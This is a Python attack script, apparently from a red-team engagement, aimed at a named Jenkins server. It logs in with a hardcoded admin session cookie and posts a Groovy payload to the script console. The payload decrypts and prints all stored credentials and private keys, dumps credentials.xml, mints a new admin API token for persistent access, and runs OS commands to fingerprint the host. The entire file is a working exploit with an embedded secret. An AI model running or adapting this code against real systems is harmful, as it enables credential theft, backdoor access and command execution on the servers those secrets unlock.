#!/usr/bin/env python3
"""
L3 #1+#4 — Groovy RCE via Jenkins scriptText
- #1: decrypt all stored credentials (system + user scoped)
- #4: mint admin API token for persistent access
"""
import urllib.request
import urllib.parse
import json
import ssl
import re

HOST = "http://jenkins.yajny.com"
REM = "YWRtaW46MTc5MTg4MjIwMDE5ODowYTMwY2NkNjcxZDZjZjc5OWI0MThkM2FiZTM4Y2QzZWI3MWYyZmE3ZGM5YWM5OThkYjgwNWNlMDZlMzZjYjNh"

GROOVY = r'''
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.common.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.plugins.credentials.impl.*
import hudson.util.Secret
import jenkins.model.Jenkins
import jenkins.security.*
import jenkins.security.apitoken.*

println "=====L3_1_DECRYPT_CREDENTIALS====="

def dumpCreds(creds, label) {
  println "--- ${label} (${creds.size()} total) ---"
  creds.each { c ->
    println "ENTRY_START"
    println "class: ${c.class.name}"
    println "id: ${c.id}"
    try { println "desc: ${c.description}" } catch(Exception e) {}
    try { println "username: ${c.username}" } catch(Exception e) {}
    try { println "password: ${c.password?.getPlainText()}" } catch(Exception e) {}
    try {
      def pk = c.getPrivateKey()
      if (pk != null && pk.trim().length() > 0) {
        println "privateKey_START"
        println pk
        println "privateKey_END"
      }
    } catch(Exception e) {}
    try { println "passphrase: ${c.passphrase?.getPlainText()}" } catch(Exception e) {}
    try {
      if (c.hasProperty("secret")) {
        def s = c.secret
        if (s != null) println "secret: ${s.getPlainText()}"
      }
    } catch(Exception e) {}
    try {
      if (c instanceof com.cloudbees.plugins.credentials.impl.CertificateCredentials) {
        println "keystorePassword: ${c.password?.getPlainText()}"
      }
    } catch(Exception e) {}
    println "ENTRY_END"
  }
}

// System-scoped (global)
def sysCreds = CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardCredentials,
    Jenkins.instance, null, null
)
dumpCreds(sysCreds, "SYSTEM_SCOPED")

// User-scoped (admin)
def admin = Jenkins.instance.getUser("admin")
def userCreds = CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardCredentials,
    admin, null, null
)
dumpCreds(userCreds, "USER_SCOPED_ADMIN")

// Also dump via direct credentials.xml read for completeness
println "--- credentials.xml raw ---"
try {
  def home = Jenkins.instance.getRootDir().getAbsolutePath()
  def credFile = new File(home, "credentials.xml")
  if (credFile.exists()) {
    println "credxml_START"
    println credFile.text
    println "credxml_END"
  } else {
    println "credentials.xml NOT FOUND at ${credFile.getAbsolutePath()}"
  }
} catch(Exception e) {
  println "credxml_err: ${e.message}"
}

println ""
println "=====L3_4_MINT_API_TOKEN====="
try {
  def adminUser = Jenkins.instance.getUser("admin")
  def tokenStore = adminUser.getApiTokenStore()
  
  // List existing tokens
  def existing = tokenStore.tokenListByName
  println "existing tokens: ${existing ? existing.size() : 0}"
  
  // Mint new token
  def result = ApiTokenStore.generateNewToken(adminUser, "scope-test-2026-09-29")
  println "TOKEN_MINTED: YES"
  println "TOKEN_NAME: scope-test-2026-09-29"
  println "TOKEN_VALUE: ${result.plainValue}"
  println "TOKEN_UUID: ${result.token.uuid}"
  println "TOKEN_CREATED: ${new Date()}"
} catch(Exception e) {
  println "TOKEN_MINT_ERR: ${e.class.name}: ${e.message}"
  // Fallback: try legacy token
  try {
    def adminUser = Jenkins.instance.getUser("admin")
    def apiTokenProp = adminUser.getProperty(jenkins.security.ApiTokenProperty)
    if (apiTokenProp != null) {
      println "legacy_apiToken: ${apiTokenProp.apiToken}"
    }
  } catch(Exception e2) {
    println "LEGACY_TOKEN_ERR: ${e2.message}"
  }
}

println ""
println "=====HOST_CONTEXT====="
println "whoami: ${"whoami".execute().text.trim()}"
println "id: ${"id".execute().text.trim()}"
println "hostname: ${"hostname".execute().text.trim()}"
println "uname: ${"uname -a".execute().text.trim()}"
println "JENKINS_HOME: ${Jenkins.instance.getRootDir().getAbsolutePath()}"
try {
  def home = Jenkins.instance.getRootDir()
  println "JENKINS_HOME_listing:"
  home.listFiles().each { f ->
    println "  ${f.isDirectory() ? "[D]" : "[F]"} ${f.name} ${f.length()}"
  }
} catch(Exception e) {}

println "=====DONE====="
'''

def run():
    # Step 1: GET crumb + capture JSESSIONID
    req = urllib.request.Request(
        f"{HOST}/crumbIssuer/api/json",
        headers={"Cookie": f"remember-me={REM}"}
    )
    with urllib.request.urlopen(req, timeout=25) as r:
        crumb_data = json.loads(r.read().decode())
        crumb = crumb_data["crumb"]
        # Extract JSESSIONID from Set-Cookie
        set_cookies = r.headers.get_all("Set-Cookie") or []
    jsession = None
    for sc in set_cookies:
        m = re.search(r"JSESSIONID[^=]*=([^;]+)", sc)
        if m:
            jsession = m.group(1)
            break
    print(f"[*] crumb={crumb}")
    print(f"[*] jsession={jsession}")
    
    # Step 2: POST scriptText
    cookie_hdr = f"remember-me={REM}"
    if jsession:
        # JSESSIONID cookie name may have suffix, use generic
        cookie_hdr += f"; JSESSIONID={jsession}"
    
    data = urllib.parse.urlencode({"script": GROOVY}).encode()
    req2 = urllib.request.Request(
        f"{HOST}/scriptText",
        data=data,
        headers={
            "Cookie": cookie_hdr,
            "Jenkins-Crumb": crumb,
            "Content-Type": "application/x-www-form-urlencoded"
        },
        method="POST"
    )
    with urllib.request.urlopen(req2, timeout=120) as r:
        result = r.read().decode("utf-8", errors="replace")
    return crumb, jsession, result

if __name__ == "__main__":
    crumb, jsession, output = run()
    print("=" * 60)
    print(output)
    # Save
    with open("/root/ir-assessment/redteam/yajny/L3/l3_decrypt_and_token.txt", "w") as f:
        f.write(f"crumb={crumb}\njsession={jsession}\n\n{output}\n")
    print(f"\n[*] Saved to L3/l3_decrypt_and_token.txt")
